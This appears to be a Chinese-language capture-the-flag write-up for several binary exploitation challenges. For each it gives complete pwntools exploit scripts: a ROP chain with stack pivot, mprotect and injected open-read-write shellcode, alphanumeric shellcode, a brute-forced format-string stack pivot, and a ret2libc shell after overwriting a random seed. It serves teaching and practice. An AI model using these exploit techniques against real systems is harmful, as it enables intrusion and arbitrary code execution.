ezsignIn
手速够快直接拿下一血
elden ring
黑屏加载难绷,思路大概这样,栈迁移到bss段,mprotect改bss段权限,然后bss段注入shellcode执行orw.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * context(arch="amd64",log_level="debug")
p=remote("47.100.137.175",32546) one=0xe3afe libc=ELF("./libc.so.6") elf=context.binary=ELF("./vuln") sleep(8)
pop_rdi=0x00000000004013e3 main=0x401297 vuln=0x40125B leave_ret=0x0000000000401290 csu1=0x4013dc csu2=0x4013C0 gadget=0x000000000002601a payload=b"a"*0x108+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(vuln) p.send(payload) puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) libc_base=puts_addr-libc.sym["puts"] pop_rsi=0x000000000002601f+libc_base pop_rdx=0x0000000000142c92+libc_base pop_rdi=0x0000000000023b6a+libc_base mprotect=libc_base+libc.sym["mprotect"] print(hex(puts_addr)) print(hex(libc_base))
open_addr=libc_base+libc.sym["open"] read_addr=libc_base+libc.sym["read"] write_addr=libc_base+libc.sym["write"] bss=0x404000 payload=b"a"*0x100+p64(bss)+p64(pop_rsi)+p64(bss)+p64(read_addr)+p64(leave_ret) p.sendafter("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n",payload)
payload=b"./flag\x00\x00" payload+=flat([ pop_rdi,bss,pop_rsi,0x1000,pop_rdx,7,mprotect,bss+0x50 ]) payload.ljust(0x50,asm("nop")) shellcode=''' mov rdi,0x404000 mov rax,2 mov rsi,0 syscall mov rdi,3 mov rsi,0x404200 mov rax,0 mov rdx,0x50 syscall mov rdi,1 mov rsi,0x404200 mov rax,1 mov rdx,0x50 syscall ''' shellcode=asm(shellcode) payload+=shellcode p.send(payload) p.interactive()
|
注意需要泄露libc基址。然后去调用mprotect
ezshellcode
搓了半天shellcode发现ae64里面有现成的,这里的shellcode需要满足的约束0<=v3<=9&&a<=v3<=z&&A<=v3<=Z,而ae64生成的shellcode里,满足rax寄存器这个约束的shellcode刚好也满足以上约束,所以直接用生成的就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * from ae64 import AE64 context(arch="amd64",os="linux")
p=remote("47.100.137.175",31380)
shellcode = b'WTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjcTYfi9O60t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9860t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP' lenth=len(shellcode) p.sendline(str(-1)) sleep(0.25) p.send(shellcode) p.interactive()
|
ezfmt_string
ez是你的谎言,其实可以给个libc文件 ,libc有时候会影响栈上布局,不给的话感觉不太严谨。我们先看看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> stack 0x28 00:0000│ rsp 0x7fffffffde70 ◂— 'make strings and getshell\n' 01:0008│ 0x7fffffffde78 ◂— 'ings and getshell\n' 02:0010│ 0x7fffffffde80 ◂— ' getshell\n' 03:0018│ 0x7fffffffde88 ◂— 0x7ffff7000a6c /* 'l\n' */ 04:0020│ r10 0x7fffffffde90 ◂— 0xa343135343131 /* '114514\n' */ 05:0028│ 0x7fffffffde98 ◂— 0x0 06:0030│ 0x7fffffffdea0 —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0 07:0038│ 0x7fffffffdea8 —▸ 0x7ffff7c8a5ad (_IO_file_setbuf+13) ◂— test rax, rax 08:0040│ 0x7fffffffdeb0 —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2887 09:0048│ 0x7fffffffdeb8 —▸ 0x7ffff7c8157f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000 0a:0050│ 0x7fffffffdec0 ◂— 0x6f0 0b:0058│ 0x7fffffffdec8 ◂— 0x0 0c:0060│ 0x7fffffffded0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf10 ◂— 0x1 0d:0068│ 0x7fffffffded8 —▸ 0x7fffffffe028 —▸ 0x7fffffffe35f ◂— 0x306b2f656d6f682f ('/home/k0') 0e:0070│ 0x7fffffffdee0 ◂— 0x0 0f:0078│ 0x7fffffffdee8 ◂— 0x176937f276af0d00 10:0080│ rbp 0x7fffffffdef0 —▸ 0x7fffffffdf10 ◂— 0x1 11:0088│ 0x7fffffffdef8 —▸ 0x401369 (main+60) ◂— mov eax, 0
|
重点在0x7fffffffded0处的这个指针,他是指向rbp的,由于只能printf一次,泄露栈上地址不太现实,就只能利用栈上已有的指针。这个指针指向rbp,我们可以改rbp低位,利用两次leave ret实现栈迁移,迁移到哪呢,程序给了我们一个sys函数,我们把这个函数的地址写到栈上,然后尝试把rbp迁移到sys-0x8的位置,如果成功,两次leave ret后就可以返回到sys函数上,由于不确定栈上的地址,需要爆破。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * context(arch="amd64",os="linux")
elf=ELF("./vuln") stack_chk=elf.got["__stack_chk_fail"] libc_start_main=elf.got["__libc_start_main"] system=0x0000000000401245
payload=f"%{0x70}c%18$hhn".encode()+b"a"*0x4+b"a"*0x28+p64(system)
print(hex(len(payload)))
while True: p=remote("47.100.137.175",31102) p.send(payload) p.recvuntil("@") try: p.recv(timeout=1) except EOFError: p.close() else: p.interactive() break
|
random
仔细看发现,read在srand之前,且有溢出,刚好能把seed改了,那我们直接把seed改成0,省点事,然后照着他的要求答题就行,用一个循环。最后分两次rop,一次泄露基址并返回到myread,一次ret2libc就可以了。
#####exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * import ctypes context(os="linux",arch="amd64")
p=remote("47.100.139.115",30530) elf2=ELF("./vuln") elf=ctypes.cdll.LoadLibrary("./libc.so.6") elf.srand(0) payload=b"a"*10+p64(0) p.sendafter("name.",payload) for i in range(99): payload=elf.rand()%100+1 p.sendafter("number:",p64(payload)) s=p.recvuntil("mind.",timeout=10) print(s) rdi=0x0000000000401423 myread=0x401262 payload=b"a"*0x38+p64(rdi)+p64(elf2.got["puts"])+p64(elf2.plt["puts"])+p64(myread) p.send(payload) puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) libc=ELF("./libc.so.6") libc_base=puts_addr-libc.sym["puts"] print(hex(libc_base)) one=0xe3b04 sleep(0.5) system=libc.sym["system"]+libc_base bin_sh=libc_base+next(libc.search(b"/bin/sh\x00")) payload=b"a"*0x38+p64(rdi)+p64(bin_sh)+p64(system) p.send(payload) p.interactive()
|